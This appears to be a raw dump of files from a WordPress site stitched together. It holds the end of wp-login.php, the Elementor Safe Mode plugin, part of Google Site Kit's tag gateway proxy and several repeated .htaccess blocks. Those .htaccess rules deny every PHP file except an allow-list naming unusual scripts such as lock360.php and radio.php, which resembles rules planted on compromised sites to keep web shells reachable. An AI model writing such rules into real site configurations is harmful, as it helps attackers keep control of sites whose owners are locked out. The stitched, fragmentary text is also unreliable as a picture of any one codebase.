class="button button-primary button-large" value="<?php esc_attr_e( 'Save Password' ); ?>" /> </p> </form> <p id="nav"> <a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); echo esc_html( $login_link_separator ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); } ?> </p> <?php login_footer( 'pass1' ); break; case 'register': if ( is_multisite() ) { /** * Filters the Multisite sign up URL. * * @since 3.0.0 * * @param string $sign_up_url The sign up URL. */ wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) ); exit; } if ( ! get_option( 'users_can_register' ) ) { wp_redirect( site_url( 'wp-login.php?registration=disabled' ) ); exit; } $user_login = ''; $user_email = ''; if ( $http_post ) { if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) { $user_login = wp_unslash( $_POST['user_login'] ); } if ( isset( $_POST['user_email'] ) && is_string( $_POST['user_email'] ) ) { $user_email = wp_unslash( $_POST['user_email'] ); } $errors = register_new_user( $user_login, $user_email ); if ( ! is_wp_error( $errors ) ) { $redirect_to = ! empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered'; wp_safe_redirect( $redirect_to ); exit; } } $registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the registration redirect URL. * * @since 3.0.0 * @since 5.9.0 Added the `$errors` parameter. * * @param string $registration_redirect The redirect destination URL. * @param int|WP_Error $errors User id if registration was successful, * WP_Error object otherwise. */ $redirect_to = apply_filters( 'registration_redirect', $registration_redirect, $errors ); login_header( __( 'Registration Form' ), wp_get_admin_notice( __( 'Register For This Site' ), array( 'type' => 'info', 'additional_classes' => array( 'message', 'register' ), ) ), $errors ); ?> <form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate"> <p> <label for="user_login"><?php _e( 'Username' ); ?></label> <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <p> <label for="user_email"><?php _e( 'Email' ); ?></label> <input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( $user_email ); ?>" size="25" autocomplete="email" required="required" /> </p> <?php /** * Fires following the 'Email' field in the user registration form. * * @since 2.1.0 */ do_action( 'register_form' ); ?> <p id="reg_passmail"> <?php _e( 'Registration confirmation will be emailed to you.' ); ?> </p> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Register' ); ?>" /> </p> </form> <p id="nav"> <a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php echo esc_html( $login_link_separator ); $html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) ); /** This filter is documented in wp-login.php */ echo apply_filters( 'lost_password_html_link', $html_link ); ?> </p> <?php login_footer( 'user_login' ); break; case 'checkemail': $redirect_to = admin_url(); $errors = new WP_Error(); if ( 'confirm' === $_GET['checkemail'] ) { $errors->add( 'confirm', sprintf( /* translators: %s: Link to the login page. */ __( 'Check your email for the confirmation link, then visit the <a href="%s">login page</a>.' ), wp_login_url() ), 'message' ); } elseif ( 'registered' === $_GET['checkemail'] ) { $errors->add( 'registered', sprintf( /* translators: %s: Link to the login page. */ __( 'Registration complete. Please check your email, then visit the <a href="%s">login page</a>.' ), wp_login_url() ), 'message' ); } /** This action is documented in wp-login.php */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); login_header( __( 'Check your email' ), '', $errors ); login_footer(); break; case 'confirmaction': if ( ! isset( $_GET['request_id'] ) ) { wp_die( __( 'Missing request ID.' ) ); } if ( ! isset( $_GET['confirm_key'] ) ) { wp_die( __( 'Missing confirm key.' ) ); } $request_id = (int) $_GET['request_id']; $key = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) ); $result = wp_validate_user_request_key( $request_id, $key ); if ( is_wp_error( $result ) ) { wp_die( $result ); } /** * Fires an action hook when the account action has been confirmed by the user. * * Using this you can assume the user has agreed to perform the action by * clicking on the link in the confirmation email. * * After firing this action hook the page will redirect to wp-login a callback * redirects or exits first. * * @since 4.9.6 * * @param int $request_id Request ID. */ do_action( 'user_request_action_confirmed', $request_id ); $message = _wp_privacy_account_request_confirmed_message( $request_id ); login_header( __( 'User action confirmed.' ), $message ); login_footer(); exit; case 'login': default: $secure_cookie = ''; $customize_login = isset( $_REQUEST['customize-login'] ); if ( $customize_login ) { wp_enqueue_script( 'customize-base' ); } // If the user wants SSL but the session is not SSL, force a secure cookie. if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) { $user_name = sanitize_user( wp_unslash( $_POST['log'] ) ); $user = get_user_by( 'login', $user_name ); if ( ! $user && strpos( $user_name, '@' ) ) { $user = get_user_by( 'email', $user_name ); } if ( $user ) { if ( get_user_option( 'use_ssl', $user->ID ) ) { $secure_cookie = true; force_ssl_admin( true ); } } } if ( isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; // Redirect to HTTPS if user wants SSL. if ( $secure_cookie && str_contains( $redirect_to, 'wp-admin' ) ) { $redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to ); } } else { $redirect_to = admin_url(); } $reauth = ! empty( $_REQUEST['reauth'] ); $user = wp_signon( array(), $secure_cookie ); if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) { if ( headers_sent() ) { $user = new WP_Error( 'test_cookie', sprintf( /* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */ __( '<strong>Error:</strong> Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/' ), __( 'https://wordpress.org/support/forums/' ) ) ); } elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) { // If cookies are disabled, the user can't log in even with a valid username and password. $user = new WP_Error( 'test_cookie', sprintf( /* translators: %s: Browser cookie documentation URL. */ __( '<strong>Error:</strong> Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/#enable-cookies-in-your-browser' ) ) ); } } $requested_redirect_to = isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the login redirect URL. * * @since 3.0.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise. */ $redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user ); if ( ! is_wp_error( $user ) && ! $reauth ) { if ( $interim_login ) { $message = '<p class="message">' . __( 'You have logged in successfully.' ) . '</p>'; $interim_login = 'success'; login_header( '', $message ); ?> </div> <?php /** This action is documented in wp-login.php */ do_action( 'login_footer' ); if ( $customize_login ) { ob_start(); ?> <script>setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } ?> </body></html> <?php exit; } // Check if it is time to add a redirect to the admin email confirmation screen. if ( $user instanceof WP_User && $user->exists() && $user->has_cap( 'manage_options' ) ) { $admin_email_lifespan = (int) get_option( 'admin_email_lifespan' ); /* * If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected * to the admin email confirmation screen. */ /** This filter is documented in wp-login.php */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) { $redirect_to = add_query_arg( array( 'action' => 'confirm_admin_email', 'wp_lang' => get_user_locale( $user ), ), wp_login_url( $redirect_to ) ); } } if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) { // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile. if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) { $redirect_to = user_admin_url(); } elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) { $redirect_to = get_dashboard_url( $user->ID ); } elseif ( ! $user->has_cap( 'edit_posts' ) ) { $redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url(); } wp_redirect( $redirect_to ); exit; } wp_safe_redirect( $redirect_to ); exit; } $errors = $user; // Clear errors if loggedout is set. if ( ! empty( $_GET['loggedout'] ) || $reauth ) { $errors = new WP_Error(); } if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) { $errors = new WP_Error( '', '' ); } if ( $interim_login ) { if ( ! $errors->has_errors() ) { $errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' ); } } else { // Some parts of this script use the main login form to display a message. if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) { $errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' ); } elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) { $errors->add( 'registerdisabled', __( '<strong>Error:</strong> User registration is currently not allowed.' ) ); } elseif ( str_contains( $redirect_to, 'about.php?updated' ) ) { $errors->add( 'updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what’s new.' ), 'message' ); } elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) { $errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' ); } elseif ( isset( $_GET['redirect_to'] ) && is_string( $_GET['redirect_to'] ) && str_contains( $_GET['redirect_to'], 'wp-admin/authorize-application.php' ) ) { $query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY ); $query = array(); if ( $query_component ) { parse_str( $query_component, $query ); } if ( ! empty( $query['app_name'] ) ) { /* translators: 1: Website name, 2: Application name. */ $message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '<strong>' . esc_html( $query['app_name'] ) . '</strong>' ); } else { /* translators: %s: Website name. */ $message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) ); } $errors->add( 'authorize_application', $message, 'message' ); } } /** * Filters the login page errors. * * @since 3.6.0 * * @param WP_Error $errors WP Error object. * @param string $redirect_to Redirect destination URL. */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); // Clear any stale cookies. if ( $reauth ) { wp_clear_auth_cookie(); } login_header( __( 'Log In' ), '', $errors ); if ( isset( $_POST['log'] ) ) { $user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? wp_unslash( $_POST['log'] ) : ''; } $rememberme = ! empty( $_POST['rememberme'] ); $aria_describedby = ''; $has_errors = $errors->has_errors(); if ( $has_errors ) { $aria_describedby = ' aria-describedby="login_error"'; } if ( $has_errors && 'message' === $errors->get_error_data() ) { $aria_describedby = ' aria-describedby="login-message"'; } wp_enqueue_script( 'user-profile' ); ?> <form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post"> <p> <label for="user_login"><?php _e( 'Username or Email Address' ); ?></label> <input type="text" name="log" id="user_login"<?php echo $aria_describedby; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <div class="user-pass-wrap"> <label for="user_pass"><?php _e( 'Password' ); ?></label> <div class="wp-pwd"> <input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby; ?> class="input password-input" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" /> <button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Show password' ); ?>"> <span class="dashicons dashicons-visibility" aria-hidden="true"></span> </button> </div> </div> <?php /** * Fires following the 'Password' field in the login form. * * @since 2.1.0 */ do_action( 'login_form' ); ?> <p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <label for="rememberme"><?php esc_html_e( 'Remember Me' ); ?></label></p> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Log In' ); ?>" /> <?php if ( $interim_login ) { ?> <input type="hidden" name="interim-login" value="1" /> <?php } else { ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <?php } if ( $customize_login ) { ?> <input type="hidden" name="customize-login" value="1" /> <?php } ?> <input type="hidden" name="testcookie" value="1" /> </p> </form> <?php if ( ! $interim_login ) { ?> <p id="nav"> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); echo esc_html( $login_link_separator ); } $html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) ); /** * Filters the link that allows the user to reset the lost password. * * @since 6.1.0 * * @param string $html_link HTML link to the lost password form. */ echo apply_filters( 'lost_password_html_link', $html_link ); ?> </p> <?php } $login_script = 'function wp_attempt_focus() {'; $login_script .= 'setTimeout( function() {'; $login_script .= 'try {'; if ( $user_login ) { $login_script .= 'd = document.getElementById( "user_pass" ); d.value = "";'; } else { $login_script .= 'd = document.getElementById( "user_login" );'; if ( $errors->get_error_code() === 'invalid_username' ) { $login_script .= 'd.value = "";'; } } $login_script .= 'd.focus(); d.select();'; $login_script .= '} catch( er ) {}'; $login_script .= '}, 200);'; $login_script .= "}\n"; // End of wp_attempt_focus(). /** * Filters whether to print the call to `wp_attempt_focus()` on the login screen. * * @since 4.8.0 * * @param bool $print Whether to print the function call. Default true. */ if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) { $login_script .= "wp_attempt_focus();\n"; } // Run `wpOnload()` if defined. $login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }"; wp_print_inline_script_tag( $login_script ); if ( $interim_login ) { ob_start(); ?> <script> ( function() { try { var i, links = document.getElementsByTagName( 'a' ); for ( i in links ) { if ( links[i].href ) { links[i].target = '_blank'; } } } catch( er ) {} }()); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } login_footer(); break; } // End action switch. <?php /** * Plugin Name: Elementor Safe Mode * Description: Safe Mode allows you to troubleshoot issues by only loading the editor, without loading the theme or any other plugin. * Plugin URI: https://elementor.com/?utm_source=safe-mode&utm_campaign=plugin-uri&utm_medium=wp-dash * Author: Elementor.com * Version: 1.0.0 * Author URI: https://elementor.com/?utm_source=safe-mode&utm_campaign=author-uri&utm_medium=wp-dash * * Text Domain: elementor * * @package Elementor * @category Safe Mode * * Elementor is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * any later version. * * Elementor is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Safe_Mode { const OPTION_ENABLED = 'elementor_safe_mode'; const OPTION_TOKEN = self::OPTION_ENABLED . '_token'; public function is_enabled() { return get_option( self::OPTION_ENABLED ); } public function is_valid_token() { $token = isset( $_COOKIE[ self::OPTION_TOKEN ] ) ? wp_kses_post( wp_unslash( $_COOKIE[ self::OPTION_TOKEN ] ) ) : null; if ( $token && get_option( self::OPTION_TOKEN ) === $token ) { return true; } return false; } public function is_requested() { return ! empty( $_REQUEST['elementor-mode'] ) && 'safe' === $_REQUEST['elementor-mode']; } public function is_editor() { return is_admin() && isset( $_GET['action'] ) && 'elementor' === $_GET['action']; } public function is_editor_preview() { return isset( $_GET['elementor-preview'] ); } public function is_editor_ajax() { // PHPCS - There is already nonce verification in the Ajax Manager return is_admin() && isset( $_POST['action'] ) && 'elementor_ajax' === $_POST['action']; // phpcs:ignore WordPress.Security.NonceVerification.Missing } public function add_hooks() { add_filter( 'pre_option_active_plugins', function () { return get_option( 'elementor_safe_mode_allowed_plugins' ); } ); add_filter( 'pre_option_stylesheet', function () { return 'elementor-safe'; } ); add_filter( 'pre_option_template', function () { return 'elementor-safe'; } ); add_action( 'elementor/init', function () { do_action( 'elementor/safe_mode/init' ); } ); } /** * Plugin row meta. * * Adds row meta links to the plugin list table * * Fired by `plugin_row_meta` filter. * * @access public * * @param array $plugin_meta An array of the plugin's metadata, including * the version, author, author URI, and plugin URI. * @param string $plugin_file Path to the plugin file, relative to the plugins * directory. * * @return array An array of plugin row meta links. */ public function plugin_row_meta( $plugin_meta, $plugin_file, $plugin_data, $status ) { if ( basename( __FILE__ ) === $plugin_file ) { $row_meta = [ 'docs' => '<a href="https://go.elementor.com/safe-mode/" target="_blank">' . esc_html__( 'Learn More', 'elementor' ) . '</a>', ]; $plugin_meta = array_merge( $plugin_meta, $row_meta ); } return $plugin_meta; } public function __construct() { add_filter( 'plugin_row_meta', [ $this, 'plugin_row_meta' ], 10, 4 ); $enabled_type = $this->is_enabled(); if ( ! $enabled_type || ! $this->is_valid_token() ) { return; } if ( ! $this->is_requested() && 'global' !== $enabled_type ) { return; } if ( ! $this->is_editor() && ! $this->is_editor_preview() && ! $this->is_editor_ajax() ) { return; } $this->add_hooks(); } } new Safe_Mode(); <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>1768301993User-agent: * Disallow: / <?php // Silence is golden.<FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>0<FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule><?php // Silence is golden. <?php /** * GoogleTagGatewayServing measurement request proxy file * * @package Google\GoogleTagGatewayLibrary\Proxy * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * * @version a8ee614 * * NOTICE: This file has been modified from its original version in accordance with the Apache License, Version 2.0. */ // This file should run in isolation from any other PHP file. This means using // minimal to no external dependencies, which leads us to suppressing the // following linting rules: // // phpcs:disable PSR1.Files.SideEffects.FoundWithSymbols // phpcs:disable PSR1.Classes.ClassDeclaration.MultipleClasses /* Start of Site Kit modified code. */ namespace { if ( isset( $_GET['healthCheck'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification echo 'ok'; exit; } // Return early when including to use in external health check. // All classes will be defined but no further statements will be executed. if ( defined( 'GOOGLESITEKIT_GTG_ENDPOINT_HEALTH_CHECK' ) ) { return; } } /* End of Site Kit modified code. */ namespace Google\GoogleTagGatewayLibrary\Proxy { use Google\GoogleTagGatewayLibrary\Http\RequestHelper; use Google\GoogleTagGatewayLibrary\Http\ServerRequestContext; /** Runner class to execute the proxy request. */ final class Runner { /** * Request helper functions. * * @var RequestHelper */ private RequestHelper $helper; /** * Measurement request helper. * * @var Measurement */ private Measurement $measurement; /** * Constructor. * * @param RequestHelper $helper */ public function __construct(RequestHelper $helper, Measurement $measurement) { $this->helper = $helper; $this->measurement = $measurement; } /** Run the core logic for forwarding traffic. */ public function run(): void { $response = $this->measurement->run(); $this->helper->setHeaders($response['headers']); http_response_code($response['statusCode']); echo $response['body']; } /** Create an instance of the runner with the system defaults. */ public static function create() { $helper = new RequestHelper(); $context = ServerRequestContext::create(); $measurement = new Measurement($helper, $context); return new self($helper, $measurement); } } } namespace Google\GoogleTagGatewayLibrary\Http { /** * Isolates network requests and other methods like exit to inject into classes. */ class RequestHelper { /** * Helper method to exit the script early and send back a status code. * * @param int $statusCode */ public function invalidRequest(int $statusCode): void { http_response_code($statusCode); exit; } /** * Set the headers from a headers array. * * @param string[] $headers */ public function setHeaders(array $headers): void { foreach ($headers as $header) { if (!empty($header)) { header($header); } } } /** * Sanitizes a path to a URL path. * * This function performs two critical actions: * 1. Extract ONLY the path component, discarding any scheme, host, port, * user, pass, query, or fragment. * Primary defense against Server-Side Request Forgery (SSRF). * 2. Normalize the path to resolve directory traversal segments like * '.' and '..'. * Prevents path traversal attacks. * * @param string $pathInput The raw path string. * @return string|false The sanitized and normalized URL path. */ public static function sanitizePathForUrl(string $pathInput): string { if (empty($pathInput)) { return false; } // Normalize directory separators to forward slashes for Windows like directories. $path = str_replace('\\', '/', $pathInput); // 2. Normalize the path to resolve '..' and '.' segments. $parts = []; // Explode the path into segments. filter removes empty segments (e.g., from '//'). $segments = explode('/', trim($path, '/')); foreach ($segments as $segment) { if ($segment === '.' || $segment === '') { // Ignore current directory and empty segments. continue; } if ($segment === '..') { // Go up one level by removing the last part. if (array_pop($parts) === null) { // If we try and traverse too far back, outside of the root // directory, this is likely an invalid configuration so // return false to have caller handle this error. return false; } } else { // Add the segment to our clean path. $parts[] = rawurlencode($segment); } } // Rebuild the final path. $sanitizedPath = implode('/', $parts); return '/' . $sanitizedPath; } /** * Helper method to send requests depending on the PHP environment. * * @param string $method * @param string $url * @param array $headers * @param string $body * * @return array{ * body: string, * headers: string[], * statusCode: int, * } */ public function sendRequest(string $method, string $url, array $headers = [], ?string $body = null): array { if ($this->isCurlInstalled()) { $response = $this->sendCurlRequest($method, $url, $headers, $body); } else { $response = $this->sendFileGetContents($method, $url, $headers, $body); } return $response; } /** * Send a request using curl. * * @param string $method * @param string $url * @param array $headers * @param string $body * * @return array{ * body: string, * headers: string[], * statusCode: int, * } */ protected function sendCurlRequest(string $method, string $url, array $headers = [], ?string $body = null): array { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_URL, $url); $method = strtoupper($method); switch ($method) { case 'GET': curl_setopt($ch, CURLOPT_HTTPGET, true); break; case 'POST': curl_setopt($ch, CURLOPT_POST, true); break; default: curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); break; } if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } if (!empty($body)) { curl_setopt($ch, CURLOPT_POSTFIELDS, $body); } $result = curl_exec($ch); $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headersString = substr($result, 0, $headerSize); $headers = explode("\r\n", $headersString); $headers = $this->normalizeHeaders($headers); $body = substr($result, $headerSize); curl_close($ch); return array('body' => $body, 'headers' => $headers, 'statusCode' => $statusCode); } /** * Send a request using file_get_contents. * * @param string $method * @param string $url * @param array $headers * @param string $body * * @return array{ * body: string, * headers: string[], * statusCode: int, * } */ protected function sendFileGetContents(string $method, string $url, array $headers = [], ?string $body = null): array { $httpContext = ['method' => strtoupper($method), 'follow_location' => 0, 'max_redirects' => 0, 'ignore_errors' => true]; if (!empty($headers)) { $httpContext['header'] = implode("\r\n", $headers); } if (!empty($body)) { $httpContext['content'] = $body; } $streamContext = stream_context_create(['http' => $httpContext]); // Calling file_get_contents will set the variable $http_response_header // within the local scope. $result = file_get_contents($url, false, $streamContext); /** @var string[] $headers */ $headers = $http_response_header ?? []; $statusCode = 200; if (!empty($headers)) { // The first element in the headers array will be the HTTP version // and status code used, parse out the status code and remove this // value from the headers. preg_match('/HTTP\/\d\.\d\s+(\d+)/', $headers[0], $statusHeader); $statusCode = intval($statusHeader[1]) ?? 200; } $headers = $this->normalizeHeaders($headers); return array('body' => $result, 'headers' => $headers, 'statusCode' => $statusCode); } protected function isCurlInstalled(): bool { return extension_loaded('curl'); } /** @param string[] $headers */ protected function normalizeHeaders(array $headers): array { if (empty($headers)) { return $headers; } // The first element in the headers array will be the HTTP version // and status code used, this value is not needed in the headers. array_shift($headers); return $headers; } /** * Takes a single URL query parameter which has not been encoded and * ensures its key & value are encoded. * * @param string $parameter Query parameter to encode. * @return string The new query parameter encoded. */ public static function encodeQueryParameter(string $parameter): string { list($key, $value) = explode('=', $parameter, 2) + ['', '']; // We just manually encode to avoid any nuances that may occur as a // result of `http_build_query`. One such nuance is that // `http_build_query` will add an index to query parameters that // are repeated through an array. We would only be able to store // repeated values as an array as associative arrays cannot have the // same key multiple times. This makes `http_build_query` // undesirable as we should pass parameters through as they come in // and not modify them or change the key. $key = rawurlencode($key); $value = rawurlencode($value); return "{$key}={$value}"; } } } namespace Google\GoogleTagGatewayLibrary\Http { /** Request context populated with common server set values. */ final class ServerRequestContext { /** * Server set associative array. Normally the same as $_SERVER. * * @var array */ private $serverParams; /** * Associative array of query parameters. Normally the same as $_GET * * @var array */ private $queryParams; /** * The current server request's body. * * @var string */ private $requestBody; /** * Constructor * * @param array $serverParams * @param array $queryParams * @param string $requestBody */ public function __construct(array $serverParams, array $queryParams, string $requestBody) { $this->serverParams = $serverParams; $this->queryParams = $queryParams; $this->requestBody = $requestBody; } /** Create an instance with the system defaults. */ public static function create() { $body = file_get_contents("php://input") ?? ''; return new self($_SERVER, $_GET, $body); } /** * Fetch the current request's request body. * * @return string The current request body. */ public function getBody(): string { return $this->requestBody ?? ''; } public function getRedirectorFile() { $redirectorFile = $this->serverParams['SCRIPT_NAME'] ?? ''; if (empty($redirectorFile)) { return ''; } return RequestHelper::sanitizePathForUrl($redirectorFile); } /** * Get headers from the current request as an array of strings. * Similar to how you set headers using the `headers` function. * * @param array $filterHeaders Filter out headers from the return value. */ public function getHeaders(array $filterHeaders = []): array { $headers = []; // Extra headers not prefixed with `HTTP_` $extraHeaders = ["CONTENT_TYPE" => 'content-type', "CONTENT_LENGTH" => 'content-length', "CONTENT_MD5" => 'content-md5']; foreach ($this->serverParams as $key => $value) { # Skip reserved headers if (isset($filterHeaders[$key])) { continue; } # All PHP request headers are available under the $_SERVER variable # and have a key prefixed with `HTTP_` according to: # https://www.php.net/manual/en/reserved.variables.server.php#refsect1-reserved.variables.server-description $headerKey = ''; if (substr($key, 0, 5) === 'HTTP_') { # PHP defaults to every header key being all capitalized. # Format header key as lowercase with `-` as word separator. # For example: cache-control $headerKey = strtolower(str_replace('_', '-', substr($key, 5))); } elseif (isset($extraHeaders[$key])) { $headerKey = $extraHeaders[$key]; } if (empty($headerKey) || empty($value)) { continue; } $headers[] = "{$headerKey}: {$value}"; } // Add extra x-forwarded-for if remote address is present. if (isset($this->serverParams['REMOTE_ADDR'])) { $headers[] = "x-forwarded-for: {$this->serverParams['REMOTE_ADDR']}"; } // Add extra geo if present in the query parameters. $geo = $this->getGeoParam(); if (!empty($geo)) { $headers[] = "x-forwarded-countryregion: {$geo}"; } return $headers; } /** * Get the request method made for the current request. * * @return string */ public function getMethod() { return @$this->serverParams['REQUEST_METHOD'] ?: 'GET'; } /** Get and validate the geo parameter from the request. */ public function getGeoParam() { $geo = $this->queryParams['geo'] ?? ''; // Basic geo validation if (!preg_match('/^[A-Za-z0-9-]+$/', $geo)) { return ''; } return $geo; } /** Get the tag id query parameter from the request. */ public function getTagId() { $tagId = $this->queryParams['id'] ?? ''; // Validate tagId if (!preg_match('/^[A-Za-z0-9-]+$/', $tagId)) { return ''; } return $tagId; } /** Get the destination query parameter from the request. */ public function getDestination() { $path = $this->queryParams['s'] ?? ''; // When measurement path is present it might accidentally pass an empty // path character depending on how the url rules are processed so as a // safety when path is empty we should assume that it is a request to // the root. if (empty($path)) { $path = '/'; } // Remove reserved query parameters from the query string $params = $this->queryParams; unset($params['id'], $params['s'], $params['geo'], $params['mpath']); $containsQueryParameters = strpos($path, '?') !== false; if ($containsQueryParameters) { list($path, $query) = explode('?', $path, 2); $path .= '?' . RequestHelper::encodeQueryParameter($query); } if (!empty($params)) { $paramSeparator = $containsQueryParameters ? '&' : '?'; $path .= $paramSeparator . http_build_query($params, '', '&', PHP_QUERY_RFC3986); } return $path; } /**Get the measurement path query parameter from the request. */ public function getMeasurementPath() { return $this->queryParams['mpath'] ?? ''; } } } namespace Google\GoogleTagGatewayLibrary\Proxy { use Google\GoogleTagGatewayLibrary\Http\RequestHelper; use 